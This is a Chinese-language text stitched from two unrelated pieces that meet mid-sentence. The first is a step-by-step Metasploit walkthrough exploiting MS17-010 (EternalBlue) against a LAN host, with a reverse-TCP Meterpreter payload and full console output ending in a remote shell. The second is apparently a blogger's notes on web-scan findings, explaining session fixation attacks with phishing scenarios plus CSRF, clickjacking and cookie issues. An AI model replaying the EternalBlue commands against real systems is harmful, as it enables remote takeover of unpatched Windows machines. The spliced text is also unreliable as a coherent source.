查看目标主机是否存在此漏洞:
msf>searchms17-010
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue 2017-03-14 good MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
//搜索ms17-010关键字,可以找到两个工具。第一个是检测是否存在漏洞工具,第二个是入侵工具
msf>useauxiliary/scanner/smb/smb_ms17_010
msfauxiliary(smb_ms17_010)>setrhosts192.168.1.102//设置目标主机IP地址
rhosts => 192.168.1.102
msfauxiliary(smb_ms17_010)>run
[+] 192.168.1.102:445 - Host is likely VULNERABLE to MS17-010! (Windows 7 Home Basic 7601 Service Pack 1) //存在漏洞
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
2.入侵主机
msf>useexploit/windows/smb/ms17_010_eternalblue msfexploit(ms17_010_eternalblue)>setpayloadwindows/x64/meterpreter/reverse_tcp//调用反向连接shell
payload => windows/x64/meterpreter/reverse_tcp
msfexploit(ms17_010_eternalblue)>showoptions//查看选项
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
GroomAllocations 12 yes Initial number of times to groom the kernel pool.
GroomDelta 5 yes The amount to increase the groom count by per try.
MaxExploitAttempts 3 yes The number of times to retry the exploit.
ProcessName spoolsv.exe yes Process to inject payload into.
RHOST yes The target address
RPORT 445 yes The target port (TCP)
VerifyArch true yes Check if remote architecture matches exploit Target.
VerifyTarget true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs
msfexploit(ms17_010_eternalblue)>setlhost192.168.1.104//配置本地主机IP
lhost => 192.168.1.104
msfexploit(ms17_010_eternalblue)>setrhost192.168.1.102//配置目标主机IP
rhost => 192.168.1.102
msfexploit(ms17_010_eternalblue)>exploit
[*] Started reverse TCP handler on 192.168.1.104:4444
[*] 192.168.1.102:445 - Connecting to target for exploitation.
[+] 192.168.1.102:445 - Connection established for exploitation.
[+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.102:445 - CORE raw buffer dump (25 bytes)
[*] 192.168.1.102:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 48 6f 6d 65 20 42 Windows 7 Home B
[*] 192.168.1.102:445 - 0x00000010 61 73 69 63 20 36 2e 31 00 asic 6.1
[+] 192.168.1.102:445 - Target arch selected valid for OS indicated by DCE/RPC reply
[*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.102:445 - Starting non-paged pool grooming
[+] 192.168.1.102:445 - Sending SMBv2 buffers
[+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.102:445 - Sending final SMBv2 buffers.
[*] 192.168.1.102:445 - Sending last fragment of exploit packet!
[*] 192.168.1.102:445 - Receiving response from exploit packet
[+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.102:445 - Sending egg to corrupted connection.
[*] 192.168.1.102:445 - Triggering free of corrupted buffer.
[*] Sending stage (1189423 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49168) at 2017-06-07 15:23:51 +0800
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter>//建立meterpreter回话。在该a这是我上午扫描的一个网站
很多地方地方不懂 在网上查了
严重问题有Session fixtion,vulnerable javascript library..
1.什么是sessionfixation攻击
Session fixation有人翻译成“Session完成攻击”,实际上fixation是确知和确定的意思,在此是指Web服务的会话ID是确知不变的,攻击者为受害着确定一个会话ID从而达到攻击的目的。在维基百科中专门有个词,在此引述其攻击情景,防范策略参考原文。
攻击情景
原文中Alice是受害者,她使用的一个银行网站http://unsafe/存在session fixation漏洞,Mallory是攻击者,他想盗 窃Alice的银行中的存款,而Alice会点击Mallory发给她的网页连接(原因可能是Alice认识Mallory,或者她自己的安全意识不强)。
攻击情景1:最简单:服务器接收任何会话ID
过程如下:
1.Mallory发现http://unsafe/接收任何会话ID,而且会话ID通过URL地址的查询参数携带到服务器,服务器不做检查
2.Mallory给Alice发送一个电子邮件,他可能假装是银行在宣传自己的新业务,例如,“我行推出了一项新服务,率先体验请点击:http://unsafe/SID=I_WILL_KNOW_THE_SID,I_WILL_KNOW_THE_SID是Mallory选定的一个会话ID。
3.Alice被吸引了,点击了 http://unsafe/SID=I_WILL_KNOW_THE_SID,像往常一样,输入了自己的帐号和口令从而登录到银行网站。
4.因为服务器的会话ID不改变,现在Mallory点击 http://unsafe/SID=I_WILL_KNOW_THE_SID后,他就拥有了Alice的身份。可以为所欲为了。
攻击情景2:服务器产生的会话ID不变
过程如下:
1.Mallory访问 http://unsafe/ 并获得了一个会话ID(SID),例如服务器返回的形式是:Set-Cookie: SID=0D6441FEA4496C2
2.Mallory给Alice发了一个邮件:”我行推出了一项新服务,率先体验请点击:http://unsafe/SID=0D6441FEA4496C2
3.Alice点击并登录了,后面发生的事与情景1相同
攻击情景3:跨站cookie(cross-site cooking)
利用浏览器的漏洞,即使 http://good 很安全,但是,由于浏览器管理cookie的漏洞,使恶意网站 http://evil/ 能够向浏览器发送 http://good 的cookie。过程如下:
1.Mallory给Alice发送一个邮件“有个有趣的网站:http://evil 很好玩,不妨试试”
2.Alice访问了这个链接,这个网站将一个会话ID取值为I_WILL_KNOW_THE_SID 的 http://good/ 域的cookie设置到浏览器中。
3.Mallory又给Alice发了个邮件:“我行推出了一项新服务,率先体验请点击:http://good/”
4.如果Alice登录了,Mallory就可以利用这个ID了
在javaEE中, 情景1应该是不可能的吧, 因为session的ID都是由服务器产生的
对于现在的浏览器,情景3估计也是不可能的吧.
只有情景2最靠谱, 先自己访问下某网站,获取自己的sessionID,然后把这个sessionID拼接在网址后面发给别人访问,只要那个人一登录, 我们也就相当于登录了
2.什么是vulnerable javascript library
脆弱的javascrpts库
这个我在网上也没找到详细的解释
在我理解 这个的处理方法就是更换使用的JS库、或者修改相关的js
中等问题有
1.HTML表单没有CSRF保护
传到后台的表单数据都没过滤、没有进行URLEncode
2.DoS攻击--HTTP Denial of Service Attack
3.用户得凭证信息以明文发送User credentials are sent in clear text
账号和密码直接这样送到后台的:name=aaa&password=123456
低等问题
1.点击劫持Clickjacking: X-Frame-Options header missing
2.密码猜测攻击Login page password-guessing attack
3.SESSION和Cookie未设置HttpOnly标识Session Cookie without HttpOnly flag set
修改默认的sessionid生成方式;
session设置httpOnly,F12看不到,HTTP工具能看到;
Cookie的设置,cookie放的内容是:userName=xxx。。。未作加密
4.敏感目录Possible sensitive directories
取到Tomcat部署目录